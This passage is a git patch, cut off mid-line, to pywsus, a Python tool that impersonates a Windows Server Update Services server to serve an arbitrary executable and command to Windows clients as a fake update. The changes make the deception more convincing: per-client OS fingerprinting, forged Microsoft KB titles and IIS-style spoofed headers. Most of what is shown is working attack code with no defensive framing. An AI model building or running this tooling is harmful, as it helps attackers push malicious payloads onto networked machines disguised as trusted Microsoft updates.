From 5400b2e51f1539034aeb8a263b97c9e6fb3693a2 Mon Sep 17 00:00:00 2001 From: Eliott Dorkenoo Date: Thu, 16 Apr 2026 11:39:58 +0200 Subject: [PATCH 1/2] fix: patch WUA applicability, add sub-features (e.g: kb_titles...) and rework UI --- check_build.py | 289 +++++++++ data/known_clients.json | 8 + data/win_builds.json | 67 +++ pywsus.py | 787 +++++++++++++++++++++---- requirements.txt | 5 +- resources/get-authorization-cookie.xml | 14 +- resources/get-config.xml | 39 +- resources/get-cookie.xml | 13 +- resources/get-extended-update-info.xml | 62 +- resources/internal-error.xml | 12 +- resources/register-computer.xml | 8 +- resources/report-event-batch.xml | 10 +- resources/sync-updates-empty.xml | 17 + resources/sync-updates.xml | 58 +- 14 files changed, 1250 insertions(+), 139 deletions(-) create mode 100644 check_build.py create mode 100644 data/known_clients.json create mode 100644 data/win_builds.json create mode 100644 resources/sync-updates-empty.xml diff --git a/check_build.py b/check_build.py new file mode 100644 index 0000000..267f4c0 --- /dev/null +++ b/check_build.py @@ -0,0 +1,289 @@ +#!/usr/bin/env python3 +"""check_build.py — Update data/win_builds.json from Microsoft release health pages. + +Scrapes the official Microsoft documentation to discover new Windows build +numbers and adds them to the local data/win_builds.json dictionary, organized +by OS family (Windows 10, Windows 11, Windows Server XXXX, etc.). + +Sources: + - Windows 10: https://learn.microsoft.com/en-us/windows/release-health/release-information + - Windows 11: https://learn.microsoft.com/en-us/windows/release-health/windows11-release-information + - Windows Server: https://learn.microsoft.com/en-us/windows/release-health/windows-server-release-info + +Usage: + python check_build.py # update data/win_builds.json + python check_build.py --dry-run # show what would change, don't write + python check_build.py --wipe-clients # delete data/known_clients.json (reset IP cache) +""" + +import json +import os +import re +import datetime +import argparse +from urllib.request import urlopen, Request +from urllib.error import URLError + +# --------------------------------------------------------------------------- +# Configuration +# --------------------------------------------------------------------------- + +_SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +_DATA_DIR = os.path.join(_SCRIPT_DIR, "data") +_BUILDS_JSON = os.path.join(_DATA_DIR, "win_builds.json") +_CLIENTS_JSON = os.path.join(_DATA_DIR, "known_clients.json") + +# Client sources: scrape "Version XXX (OS build NNNNN)" patterns +CLIENT_SOURCES = [ + { + "url": "https://learn.microsoft.com/en-us/windows/release-health/release-information", + "section": "Windows 10", + }, + { + "url": "https://learn.microsoft.com/en-us/windows/release-health/windows11-release-information", + "section": "Windows 11", + }, +] + +# Server source: scrape "Windows Server XXXX (OS build NNNNN)" headers +SERVER_SOURCE = { + "url": "https://learn.microsoft.com/en-us/windows/release-health/windows-server-release-info", +} + +HEADERS = { + "User-Agent": "check_build/1.0 (pywsus; build dictionary updater)", + "Accept": "text/html", +} + +# --------------------------------------------------------------------------- +# Scraping +# --------------------------------------------------------------------------- + +def fetch_page(url): + """Fetch a page and return its HTML as a string.""" + req = Request(url, headers=HEADERS) + try: + with urlopen(req, timeout=15) as resp: + return resp.read().decode("utf-8", errors="replace") + except URLError as e: + print(f" [!] Failed to fetch {url}: {e}") + return "" + + +def extract_client_builds(html_content): + """Extract { base_build: version_label } from a Win10/Win11 release health page. + + Looks for patterns like 'Version 22H2 (OS build 19045)'. + """ + results = {} + + # Pattern 1: "Version 22H2 (OS build 19045)" style headers + for m in re.finditer( + r'Version\s+([\w.]+)\s*\(OS\s+build\s+(\d{5,})\)', + html_content, re.IGNORECASE + ): + results[m.group(2)] = m.group(1) + + # Pattern 2: table rows with version + build pairs + version_pat = re.compile( + r']*>\s*(?:Version\s+)?(1[5-9]\d{2}|2[0-9]H[12]|2[0-9]{3})\s*', + re.IGNORECASE + ) + build_pat = re.compile(r']*>\s*(\d{5,})(?:\.\d+)?\s*') + + for row in re.finditer(r']*>(.*?)', html_content, re.DOTALL): + row_html = row.group(1) + ver_m = version_pat.search(row_html) + bld_m = build_pat.search(row_html) + if ver_m and bld_m: + build = bld_m.group(1) + if build not in results: + results[build] = ver_m.group(1) + + return results + + +def extract_server_builds(html_content): + """Extract { section_name: { base_build: version } } from the Server page. + + Looks for detail headers like 'Windows Server 2025 (OS build 26100)' + and main table rows like 'Windows Server 2019 (version 1809)'. + """ + results = {} # { "Windows Server 2025": { "26100": "24H2" }, ... } + + # Step 1: extract section → base_build from detail headers + # Pattern: "Windows Server XXXX (OS build NNNNN)" + section_builds = {} + for m in re.finditer( + r'Windows\s+Server\s+(\d{4})\s*\(OS\s+build\s+(\d{5,})\)', + html_content, re.IGNORECASE + ): + name = f"Windows Server {m.group(1)}" + base_build = m.group(2) + section_builds[name] = base_build + + # Step 2: extract version from main table + # Pattern: "Windows Server XXXX (version YYYY)" or just "Windows Server XXXX" + version_map = {} + for m in re.finditer( + r'Windows\s+Server\s+(\d{4})\s*\(version\s+([\w.]+)\)', + html_content, re.IGNORECASE + ): + version_map[f"Windows Server {m.group(1)}"] = m.group(2) + + # Step 3: for servers without explicit version, try to derive it + # Server 2025 = build 26100 = "24H2", Server 2022 = build 20348 = "21H2" + _KNOWN_SERVER_VERSIONS = { + "Windows Server 2025": "24H2", + "Windows Server 2022": "21H2", + } + + # Combine + for name, base_build in section_builds.items(): + version = version_map.get(name, _KNOWN_SERVER_VERSIONS.get(name, "")) + if name not in results: + results[name] = {} + if version: + results[name][base_build] = version + + return results + + +# --------------------------------------------------------------------------- +# JSON management +# --------------------------------------------------------------------------- + +def load_json(): + """Load the existing data/win_builds.json or create a skeleton.""" + if os.path.exists(_BUILDS_JSON): + with open(_BUILDS_JSON, "r", encoding="utf-8") as f: + return json.load(f) + return { + "_comment": "OS family → { build_number: version }. Updated by check_build.py", + "_updated": "", + "_sources": [s["url"] for s in CLIENT_SOURCES] + [SERVER_SOURCE["url"]], + } + + +def save_json(data): + """Write the updated JSON file with sorted builds per section.""" + data["_updated"] = datetime.date.today().isoformat() + for key, val in data.items(): + if key.startswith("_") or not isinstance(val, dict): + continue + data[key] = dict(sorted(val.items(), key=lambda x: int(x[0]))) + os.makedirs(_DATA_DIR, exist_ok=True) + with open(_BUILDS_JSON, "w", encoding="utf-8") as f: + json.dump(data, f, indent=4, ensure_ascii=False) + f.write("\n") + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + +def main(): + parser = argparse.ArgumentParser( + description="Update data/win_builds.json from Microsoft release health pages.", + epilog=( + "Examples:\n" + " python check_build.py # fetch latest builds\n" + " python check_build.py --dry-run # preview without saving\n" + " python check_build.py --wipe-clients # reset known client IPs\n" + ), + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + parser.add_argument("--dry-run", action="store_true", + help="Show changes without writing to disk") + parser.add_argument("--wipe-clients", action="store_true", + help="Reset data/known_clients.json (clear all known client IPs)") + args = parser.parse_args() + + # --- Wipe clients if requested --- + if args.wipe_clients: + os.makedirs(_DATA_DIR, exist_ok=True) + empty = {"_comment": "Known WSUS clients — { ip: {build, arch, os_desc} }. Auto-populated by pywsus."} + with open(_CLIENTS_JSON, "w", encoding="utf-8") as f: + json.dump(empty, f, indent=2, ensure_ascii=False) + f.write("\n") + print(f"[*] Cleared {_CLIENTS_JSON}") + return + + data = load_json() + added = {} + + # Count existing + existing_count = sum(len(v) for k, v in data.items() + if not k.startswith("_") and isinstance(v, dict)) + print(f"[*] Current dictionary: {existing_count} builds in {_BUILDS_JSON}") + print() + + # --- Client builds (Windows 10, Windows 11) --- + for source in CLIENT_SOURCES: + url = source["url"] + section = source["section"] + + print(f"[*] Fetching {section} release info...") + html_content = fetch_page(url) + if not html_content: + continue + + discovered = extract_client_builds(html_content) + print(f" Found {len(discovered)} build(s) on page") + + existing = data.setdefault(section, {}) + for build, version in discovered.items(): + if build not in existing: + added[f"{section}/{build}"] = version + existing[build] = version + print(f" [+] NEW: {section} build {build} → version {version}") + elif existing[build] != version: + print(f" [~] UPDATE: {section} build {build}: " + f"{existing[build]} → {version}") + existing[build] = version + added[f"{section}/{build}"] = version + + # --- Server builds --- + print(f"[*] Fetching Windows Server release info...") + html_content = fetch_page(SERVER_SOURCE["url"]) + if html_content: + server_results = extract_server_builds(html_content) + total_server = sum(len(v) for v in server_results.values()) + print(f" Found {total_server} build(s) across {len(server_results)} server edition(s)") + + for section, builds in server_results.items(): + existing = data.setdefault(section, {}) + for build, version in builds.items(): + if build not in existing: + added[f"{section}/{build}"] = version + existing[build] = version + print(f" [+] NEW: {section} build {build} → version {version}") + elif existing[build] != version: + print(f" [~] UPDATE: {section} build {build}: " + f"{existing[build]} → {version}") + existing[build] = version + added[f"{section}/{build}"] = version + + print() + + if not added: + print("[*] Dictionary is already up to date, no new builds found.") + else: + print(f"[+] {len(added)} new/updated build(s):") + for key, version in sorted(added.items()): + print(f" {key} → {version}") + + if added and not args.dry_run: + save_json(data) + print(f"\n[*] Saved to {_BUILDS_JSON}") + elif added and args.dry_run: + print(f"\n[*] Dry run — changes NOT saved") + + total = sum(len(v) for k, v in data.items() + if not k.startswith("_") and isinstance(v, dict)) + families = sum(1 for k in data if not k.startswith("_") and isinstance(data[k], dict)) + print(f"\n[*] Total: {total} builds / {families} OS families") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/data/known_clients.json b/data/known_clients.json new file mode 100644 index 0000000..61efeab --- /dev/null +++ b/data/known_clients.json @@ -0,0 +1,8 @@ +{ + "_comment": "Known WSUS clients — { ip: {build, arch, os_desc} }. Auto-populated by pywsus.", + "172.16.147.102": { + "build": 26200, + "arch": "AMD64", + "os_desc": "Windows 10 Pro" + } +} diff --git a/data/win_builds.json b/data/win_builds.json new file mode 100644 index 0000000..6cbe7e9 --- /dev/null +++ b/data/win_builds.json @@ -0,0 +1,67 @@ +{ + "_comment": "OS family → { build_number: version }. Updated by check_build.py", + "_updated": "2026-04-01", + "_sources": [ + "https://learn.microsoft.com/en-us/windows/release-health/release-information", + "https://learn.microsoft.com/en-us/windows/release-health/windows11-release-information", + "https://learn.microsoft.com/en-us/windows/release-health/windows-server-release-info" + ], + "Windows 7": { + "7600": "RTM", + "7601": "SP1" + }, + "Windows 8": { + "9200": "RTM" + }, + "Windows 8.1": { + "9600": "Update 1" + }, + "Windows 10": { + "10240": "1507", + "10586": "1511", + "14393": "1607", + "15063": "1703", + "16299": "1709", + "17134": "1803", + "17763": "1809", + "18362": "1903", + "18363": "1909", + "19041": "2004", + "19042": "20H2", + "19043": "21H1", + "19044": "21H2", + "19045": "22H2" + }, + "Windows 11": { + "22000": "21H2", + "22621": "22H2", + "22631": "23H2", + "26100": "24H2", + "26200": "25H2", + "28000": "26H1" + }, + "Windows Server 2008": { + "6003": "SP2" + }, + "Windows Server 2008 R2": { + "7601": "SP1" + }, + "Windows Server 2012": { + "9200": "RTM" + }, + "Windows Server 2012 R2": { + "9600": "RTM" + }, + "Windows Server 2016": { + "14393": "1607" + }, + "Windows Server 2019": { + "17763": "1809" + }, + "Windows Server 2022": { + "20348": "21H2" + }, + "Windows Server 2025": { + "26100": "24H2" + } +} diff --git a/pywsus.py b/pywsus.py index 21ee579..baf02ab 100644 --- a/pywsus.py +++ b/pywsus.py @@ -8,248 +8,775 @@ import datetime import base64 import hashlib -import logging +import json +import re import sys import os import argparse +import threading +import time +import select +import tty +import termios + +from rich.console import Console # type: ignore + +# --------------------------------------------------------------------------- +# KB generation +# --------------------------------------------------------------------------- + +def _random_kb() -> str: + """Random KB in the Win10/11 monthly rollup band (5000000–5099999).""" + return str(randint(5_000_000, 5_099_999)) + + +# --------------------------------------------------------------------------- +# OS fingerprinting from RegisterComputer +# +# win_builds.json is organized by OS family: +# "Windows 11": { "26100": "24H2", "26200": "25H2", ... } +# "Windows Server 2025": { "26100": "24H2" } +# +# OSDescription from RegisterComputer (e.g. "Windows 10 Pro", +# "Windows Server 2025 Standard") is matched against section keys +# (longest first to avoid "Windows Server 2012" shadowing "2012 R2"). +# Then the build number is looked up inside that section. +# --------------------------------------------------------------------------- + +def _load_builds(): + """Load data/win_builds.json -> dict of { os_family: { int(build): version } }. + + Keys starting with '_' are metadata and are skipped. + """ + path = os.path.join(os.path.abspath(os.path.dirname(__file__)), + "data", "win_builds.json") + try: + with open(path, "r", encoding="utf-8") as f: + raw = json.load(f) + result = {} + for key, builds in raw.items(): + if key.startswith("_") or not isinstance(builds, dict): + continue + result[key] = {int(b): v for b, v in builds.items()} + return result + except (OSError, json.JSONDecodeError, ValueError): + return {} + +_BUILDS_DB = _load_builds() + +# Section keys sorted longest-first so "Windows Server 2012 R2" matches +# before "Windows Server 2012", and "Windows 8.1" before "Windows 8". +_OS_KEYS_SORTED = sorted(_BUILDS_DB.keys(), key=len, reverse=True) + +_ARCH_MAP = { + "AMD64": "x64-based Systems", + "amd64": "x64-based Systems", + "X86": "x86-based Systems", + "x86": "x86-based Systems", + "ARM64": "ARM64-based Systems", + "arm64": "ARM64-based Systems", +} + +# --------------------------------------------------------------------------- +# Known clients persistence +# Stores { ip: { "build": int, "arch": str, "os_desc": str } } on disk +# so that clients who skip RegisterComputer (WUA cache) still get +# a targeted title even after tool restart or session rotation. +# --------------------------------------------------------------------------- + +_KNOWN_CLIENTS_PATH = os.path.join(os.path.abspath(os.path.dirname(__file__)), + "data", "known_clients.json") + +def _load_known_clients(): + """Load data/known_clients.json -> { ip: {build, arch, os_desc} }. + + Keys starting with '_' are metadata and are skipped. + """ + try: + with open(_KNOWN_CLIENTS_PATH, "r", encoding="utf-8") as f: + raw = json.load(f) + return {k: v for k, v in raw.items() if not k.startswith("_")} + except (OSError, json.JSONDecodeError): + return {} + +def _save_known_clients(clients): + """Persist the clients dict to data/known_clients.json.""" + try: + os.makedirs(os.path.dirname(_KNOWN_CLIENTS_PATH), exist_ok=True) + data = {"_comment": "Known WSUS clients — { ip: {build, arch, os_desc} }. Auto-populated by pywsus."} + data.update(clients) + with open(_KNOWN_CLIENTS_PATH, "w", encoding="utf-8") as f: + json.dump(data, f, indent=2, ensure_ascii=False) + f.write("\n") + except OSError: + pass + +_known_clients = _load_known_clients() + + +def _build_kb_title(kb_number, os_build=0, arch="", os_desc=""): + """Build a realistic Microsoft KB title from client info. + + Two-pass lookup: + 1. Sections whose key appears in OSDescription (longest-first). + If the build is found there -> use it. + 2. Fallback: try ALL sections for the build number. + Handles Win11 reporting OSDescription="Windows 10 Pro" (NT 10.0). + + Falls back to generic title if nothing matches. + """ + now = datetime.datetime.now() + prefix = f"{now.year}-{now.month:02d} Cumulative Update for" + arch_label = _ARCH_MAP.get(arch, "") + + os_family = "" + version = "" + os_desc_lower = os_desc.lower() + + # Pass 1: sections matching OSDescription + for key in _OS_KEYS_SORTED: + if key.lower() in os_desc_lower: + v = _BUILDS_DB[key].get(os_build, "") + if v: + os_family, version = key, v + break + + # Pass 2: if not found, try all sections for this build + # Skip server sections for client descs and vice versa to avoid + # shared builds (e.g. 26100 = Win11 24H2 AND Server 2025) + if not version: + is_server_desc = "server" in os_desc_lower + for key in _OS_KEYS_SORTED: + key_is_server = "server" in key.lower() + if is_server_desc != key_is_server: + continue + v = _BUILDS_DB[key].get(os_build, "") + if v: + os_family, version = key, v + break + + # If still no version but OSDescription matched a family, keep the family + if not os_family and os_desc_lower: + for key in _OS_KEYS_SORTED: + if key.lower() in os_desc_lower: + os_family = key + break + + # --- Compose title --- + if os_family and version and arch_label: + title = f"{prefix} {os_family}, version {version} for {arch_label} (KB{kb_number})" + elif os_family and version: + title = f"{prefix} {os_family}, version {version} (KB{kb_number})" + elif os_family and arch_label: + title = f"{prefix} {os_family} for {arch_label} (KB{kb_number})" + elif os_family: + title = f"{prefix} {os_family} (KB{kb_number})" + else: + title = f"{prefix} Windows (KB{kb_number})" + + if os_build: + title += f" ({os_build})" + return title + +# --------------------------------------------------------------------------- +# WSUS update handler +# --------------------------------------------------------------------------- class WSUSUpdateHandler: def __init__(self, executable_file, executable_name, client_address): - self.get_config_xml = '' - self.get_cookie_xml = '' - self.register_computer_xml = '' - self.sync_updates_xml = '' + self.get_config_xml = '' + self.get_cookie_xml = '' + self.register_computer_xml = '' + self.sync_updates_xml = '' + self.sync_updates_empty_xml = '' self.get_extended_update_info_xml = '' - self.report_event_batch_xml = '' + self.report_event_batch_xml = '' self.get_authorization_cookie_xml = '' - self.revision_ids = [randint(900000, 999999), randint(900000, 999999)] - self.deployment_ids = [randint(80000, 99999), randint(80000, 99999)] - self.uuids = [uuid.uuid4(), uuid.uuid4()] + # Two IDs each: parent "Install" update + child "Bundle" update + self.revision_ids = [randint(900000, 999999), randint(900000, 999999)] + self.deployment_ids = [randint(80000, 99999), randint(80000, 99999)] + self.uuids = [uuid.uuid4(), uuid.uuid4()] - self.executable = executable_file + self.executable = executable_file self.executable_name = executable_name - self.sha1 = '' - self.sha256 = '' - - self.client_address = client_address + self.sha1 = '' + self.sha256 = '' + self.kb_number = _random_kb() + self.kb_title = '' + self.client_address = client_address + self._cookie_bytes = os.urandom(47) # realistic opaque blob per session + + # Per-IP client info: { ip: {"build": int, "arch": str, "os_desc": str} } + # Populated by RegisterComputer, consumed by GetExtendedUpdateInfo. + # Initialized from known_clients.json for persistence across restarts. + self._clients = dict(_known_clients) + + # Raw template + kwargs for get-extended-update-info.xml + # (rendered per-request with the right kb_title per client IP) + self._ext_info_template = '' + self._ext_info_kwargs = {} def get_last_change(self): return (datetime.datetime.now() - datetime.timedelta(days=3)).isoformat() def get_cookie(self): - return base64.b64encode(b'A'*47).decode('utf-8') + return base64.b64encode(self._cookie_bytes).decode('utf-8') def get_expire(self): return (datetime.datetime.now() + datetime.timedelta(days=1)).isoformat() def set_resources_xml(self, command): - # init resources - + """Load XML templates from resources/ and inject session values.""" path = os.path.abspath(os.path.dirname(__file__)) - try: - with open('{}/resources/get-config.xml'.format(path), 'r') as file: - self.get_config_xml = file.read().format(lastChange=self.get_last_change()) - file.close() - - with open('{}/resources/get-cookie.xml'.format(path), 'r') as file: - self.get_cookie_xml = file.read().format(expire=self.get_expire(), cookie=self.get_cookie()) - file.close() - - with open('{}/resources/register-computer.xml'.format(path), 'r') as file: - self.register_computer_xml = file.read() - file.close() - - with open('{}/resources/sync-updates.xml'.format(path), 'r') as file: - # TODO KB1234567 -> dynamic - self.sync_updates_xml = file.read().format(revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1], - deployment_id1=self.deployment_ids[0], deployment_id2=self.deployment_ids[1], - uuid1=self.uuids[0], uuid2=self.uuids[1], expire=self.get_expire(), cookie=self.get_cookie()) - file.close() - - with open('{}/resources/get-extended-update-info.xml'.format(path), 'r') as file: - self.get_extended_update_info_xml = file.read().format(revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1], sha1=self.sha1, sha256=self.sha256, - filename=self.executable_name, file_size=len(executable_file), command=html.escape(html.escape(command)), - url='http://{host}/{path}/{executable}'.format(host=self.client_address, path=uuid.uuid4(), executable=self.executable_name)) - file.close() - - with open('{}/resources/report-event-batch.xml'.format(path), 'r') as file: - self.report_event_batch_xml = file.read() - file.close() - - with open('{}/resources/get-authorization-cookie.xml'.format(path), 'r') as file: - self.get_authorization_cookie_xml = file.read().format(cookie=self.get_cookie()) - file.close() - + with open(f'{path}/resources/get-config.xml', 'r') as f: + self.get_config_xml = f.read().format( + lastChange=self.get_last_change()) + f.close() + + with open(f'{path}/resources/get-cookie.xml', 'r') as f: + self.get_cookie_xml = f.read().format( + expire=self.get_expire(), cookie=self.get_cookie()) + f.close() + + with open(f'{path}/resources/register-computer.xml', 'r') as f: + self.register_computer_xml = f.read() + f.close() + + with open(f'{path}/resources/sync-updates.xml', 'r') as f: + self.sync_updates_xml = f.read().format( + revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1], + deployment_id1=self.deployment_ids[0], deployment_id2=self.deployment_ids[1], + uuid1=self.uuids[0], uuid2=self.uuids[1], + expire=self.get_expire(), cookie=self.get_cookie(), + last_change=self.get_last_change()) + + # Empty SyncUpdates — for driver sync requests (contains ) + with open(f'{path}/resources/sync-updates-empty.xml', 'r') as f: + self.sync_updates_empty_xml = f.read().format( + expire=self.get_expire(), cookie=self.get_cookie()) + f.close() + + with open(f'{path}/resources/get-extended-update-info.xml', 'r') as f: + self._ext_info_template = f.read() + self._ext_info_kwargs = dict( + revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1], + sha1=self.sha1, sha256=self.sha256, + filename=self.executable_name, file_size=len(self.executable), + command=html.escape(html.escape(command)), + url='http://{host}/{path}/{executable}'.format( + host=self.client_address, path=uuid.uuid4(), + executable=self.executable_name), + kb_number=self.kb_number, + kb_title='') + # Generic title — used as fallback for clients that skip RegisterComputer + self._generic_title = _build_kb_title(self.kb_number) + self.kb_title = self._generic_title + self._ext_info_kwargs['kb_title'] = html.escape(self.kb_title) + self.get_extended_update_info_xml = \ + self._ext_info_template.format(**self._ext_info_kwargs) + f.close() + + with open(f'{path}/resources/report-event-batch.xml', 'r') as f: + self.report_event_batch_xml = f.read() + f.close() + + with open(f'{path}/resources/get-authorization-cookie.xml', 'r') as f: + self.get_authorization_cookie_xml = f.read().format( + cookie=self.get_cookie()) + f.close() except Exception as err: - logging.error('Error: {err}'.format(err=err)) + _console.print(f"[bold red][ERROR][/] Loading XML resources: {err}") sys.exit(1) def set_filedigest(self): - hash1 = hashlib.sha1() - hash256 = hashlib.sha256() + """Compute SHA-1 and SHA-256 of the executable payload.""" + h1 = hashlib.sha1() + h256 = hashlib.sha256() + h1.update(self.executable) + h256.update(self.executable) + self.sha1 = base64.b64encode(h1.digest()).decode() + self.sha256 = base64.b64encode(h256.digest()).decode() + + def register_client(self, ip, os_build, arch, os_desc): + """Store per-IP client info from RegisterComputer and persist to disk. + + Stores raw OS data (not the title) so it stays valid across + session rotations (new KB number -> new title from same data). + """ + info = {"build": os_build, "arch": arch, "os_desc": os_desc} + self._clients[ip] = info + _known_clients[ip] = info + _save_known_clients(_known_clients) + return _build_kb_title(self.kb_number, os_build, arch, os_desc) + + def title_for_ip(self, ip): + """Compute the KB title for a given IP from stored raw data. + + Returns the targeted title if the IP was seen via RegisterComputer + (this session or a previous one), generic title otherwise. + """ + info = self._clients.get(ip) + if info: + return _build_kb_title(self.kb_number, + info["build"], info["arch"], info["os_desc"]) + return self._generic_title + + def get_ext_info_xml_for(self, ip): + """Render GetExtendedUpdateInfo XML with the right kb_title for this IP.""" + title = self.title_for_ip(ip) + kwargs = dict(self._ext_info_kwargs) + kwargs['kb_title'] = html.escape(title) + return self._ext_info_template.format(**kwargs) + + +# --------------------------------------------------------------------------- +# Display layer +# --------------------------------------------------------------------------- + +_console = Console(highlight=False) +_out_lock = threading.Lock() +_log_level = 0 +_log_file = None + +_STYLE = { + "GetConfig": "dim", + "GetCookie": "bright_magenta", + "GetAuthorizationCookie": "dim", + "RegisterComputer": "bright_white", + "SyncUpdates": "bright_green", + "GetExtendedUpdateInfo": "bright_yellow", + "ReportEventBatch": "bright_blue", + "FileDownload": "bright_cyan", + "WARN": "bold red", +} + +def _ts(): + return datetime.datetime.now().strftime("%H:%M:%S") + + +def _log(level, ip, action, detail="", direction=""): + if level > _log_level: + return + ts = _ts() + style = _STYLE.get(action, "white") + line = f"[bright_black]{ts}[/] [cyan]{ip:<15}[/] [{style}]{action:<26}[/]" + if detail: + line += f" [dim]{detail}[/]" + with _out_lock: + _console.print(line) + + if _log_file and _log_level == 1: + arrow = {"request": "CLIENT -> ", "response": "<- SERVER "}.get(direction, "") + plain = f"{ts} {ip:<15} {arrow}{action:<26}" + if detail: + plain += f" {detail}" try: - data = self.executable - hash1.update(data) - hash256.update(data) - self.sha1 = base64.b64encode(hash1.digest()).decode() - self.sha256 = base64.b64encode(hash256.digest()).decode() + with open(_log_file, "a", encoding="utf-8") as fh: + fh.write(plain + "\n") + except OSError: + pass - except Exception as err: - logging.error('Error in set_filedigest: {err}'.format(err=err)) - sys.exit(1) - def __str__(self): - return 'The update metadata - uuids: {uuids},revision_ids: {revision_ids}, deployment_ids: {deployment_ids}, executable: {executable}, sha1: {sha1}, sha256: {sha256}'.format( - uuids=self.uuids, revision_ids=self.revision_ids, deployment_ids=self.deployment_ids, executable=self.executable_name, sha1=self.sha1, sha256=self.sha256) +def _log_raw(label, content, http_request=""): + if _log_level < 2 or not _log_file: + return + sep = "─" * 72 + header = f"{sep} {_ts()} {label} {sep}" + try: + with open(_log_file, "a", encoding="utf-8") as fh: + fh.write(f"\n{header}\n") + if http_request: + fh.write(f" {http_request}\n") + fh.write(f"{content}\n") + except OSError: + pass + +def _log_resp(ip, action_name): + """Write <- SERVER line to log file only (level 1 only, not level 2).""" + if not _log_file or _log_level != 1: + return + try: + with open(_log_file, "a", encoding="utf-8") as fh: + fh.write(f"{_ts()} {ip:<15} <- SERVER {action_name + ' (resp)':<26}\n") + except OSError: + pass + + +# --------------------------------------------------------------------------- +# HTTP server +# --------------------------------------------------------------------------- class WSUSBaseServer(BaseHTTPRequestHandler): - def _set_response(self, serveEXE=False): + # Spoof the Server header to match a real WSUS (IIS) response. + # BaseHTTPRequestHandler builds it from server_version + sys_version; + # overriding version_string() is the cleanest single-point fix. + def version_string(self): + return 'Microsoft-IIS/10.0' + + def log_message(self, fmt, *args): + pass + + def _set_response(self, serveEXE=False, xml_body=None): self.protocol_version = 'HTTP/1.1' - self.send_response(200) - # self.server_version = 'Microsoft-IIS/10.0' - # self.send_header('Accept-Ranges', 'bytes') + # send_response_only() emits only the status line — no Server/Date, + # letting us place them in IIS order: Cache-Control, Content-Type, + # Server, X-AspNet-Version, X-Powered-By, Date, Content-Length. + self.send_response_only(200) self.send_header('Cache-Control', 'private') - if serveEXE: self.send_header('Content-Type', 'application/octet-stream') - self.send_header("Content-Length", len(update_handler.executable)) else: - self.send_header('Content-type', 'text/xml; chartset=utf-8') - + self.send_header('Content-Type', 'text/xml; charset=utf-8') + self.send_header('Server', self.version_string()) self.send_header('X-AspNet-Version', '4.0.30319') self.send_header('X-Powered-By', 'ASP.NET') + self.send_header('Date', self.date_time_string()) + if serveEXE: + self.send_header('Content-Length', len(update_handler.executable)) + elif xml_body is not None: + self.send_header('Content-Length', len(xml_body)) self.end_headers() def do_HEAD(self): - logging.debug('HEAD request,\nPath: {path}\nHeaders:\n{headers}\n'.format(path=self.path, headers=self.headers)) - - if self.path.find(".exe"): - logging.info("Requested: {path}".format(path=self.path)) - + if ".exe" in self.path: + _log(0, self.client_address[0], "HEAD", self.path, direction="request") self._set_response(True) def do_GET(self): - logging.debug('GET request,\nPath: {path}\nHeaders:\n{headers}\n'.format(path=self.path, headers=self.headers)) - - if self.path.find(".exe"): - logging.info("Requested: {path}".format(path=self.path)) - + ip = self.client_address[0] + if ".exe" in self.path: self._set_response(True) - self.wfile.write(update_handler.executable) + try: + self.wfile.write(update_handler.executable) + except (ConnectionResetError, BrokenPipeError): + _log(0, ip, "FileDownload", "connection reset (client may retry)") + return + size_kb = len(update_handler.executable) // 1024 + _log(0, ip, "FileDownload", + f"{size_kb} KB -> {update_handler.executable_name}", + direction="response") def do_POST(self): - content_length = int(self.headers['Content-Length']) - post_data = self.rfile.read(content_length) + post_data = self.rfile.read(content_length) + post_data_xml = BeautifulSoup(post_data, "xml") + data = None - post_data_xml = BeautifulSoup(post_data, "xml") - data = None + soap_action = self.headers['SOAPAction'] + ip = self.client_address[0] + action_name = soap_action.strip('"').rsplit('/', 1)[-1] if soap_action else "Unknown" - logging.debug("POST Request,\nPath: {path}\nHeaders:\n{headers}\n\nBody:\n{body}\n".format(path=self.path, headers=self.headers, body=post_data_xml.encode_contents())) + _log_raw(f"CLIENT -> SERVER {ip} {action_name}", + post_data_xml.prettify(), + http_request=self.requestline) - soap_action = self.headers['SOAPAction'] + # --- SOAP dispatch --- if soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/b76899b4-ad55-427d-a748-2ecf0829412b data = BeautifulSoup(update_handler.get_config_xml, 'xml') + _log(0, ip, "GetConfig", direction="request") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/36a5d99a-a3ca-439d-bcc5-7325ff6b91e2 data = BeautifulSoup(update_handler.get_cookie_xml, "xml") + _log(0, ip, "GetCookie", direction="request") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/RegisterComputer"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/b0f2a41f-4b96-42a5-b84f-351396293033 data = BeautifulSoup(update_handler.register_computer_xml, "xml") + # --- Parse client OS from computerInfo (§2.2.2.2.3) --- + os_build = 0 + arch = "" + os_desc = "" + build_tag = post_data_xml.find('OSBuildNumber') + arch_tag = post_data_xml.find('ProcessorArchitecture') + osdesc_tag = post_data_xml.find('OSDescription') + + if build_tag and build_tag.string: + try: + os_build = int(build_tag.string.strip()) + except ValueError: + pass + if arch_tag and arch_tag.string: + arch = arch_tag.string.strip() + if osdesc_tag and osdesc_tag.string: + os_desc = osdesc_tag.string.strip() + + if os_build or arch or os_desc: + update_handler.register_client(ip, os_build, arch, os_desc) + + title = update_handler.title_for_ip(ip) + detail = f"{os_desc} build {os_build} arch {arch} -> KB{update_handler.kb_number}" + _log(0, ip, "RegisterComputer", detail, direction="request") + elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/6b654980-ae63-4b0d-9fae-2abb516af894 - data = BeautifulSoup(update_handler.sync_updates_xml, "xml") + # Software sync -> fake updates | Driver sync () -> empty + if post_data_xml.find('SystemSpec') is not None: + data = BeautifulSoup(update_handler.sync_updates_empty_xml, "xml") + _log(0, ip, "SyncUpdates", "driver sync -> empty", direction="request") + else: + data = 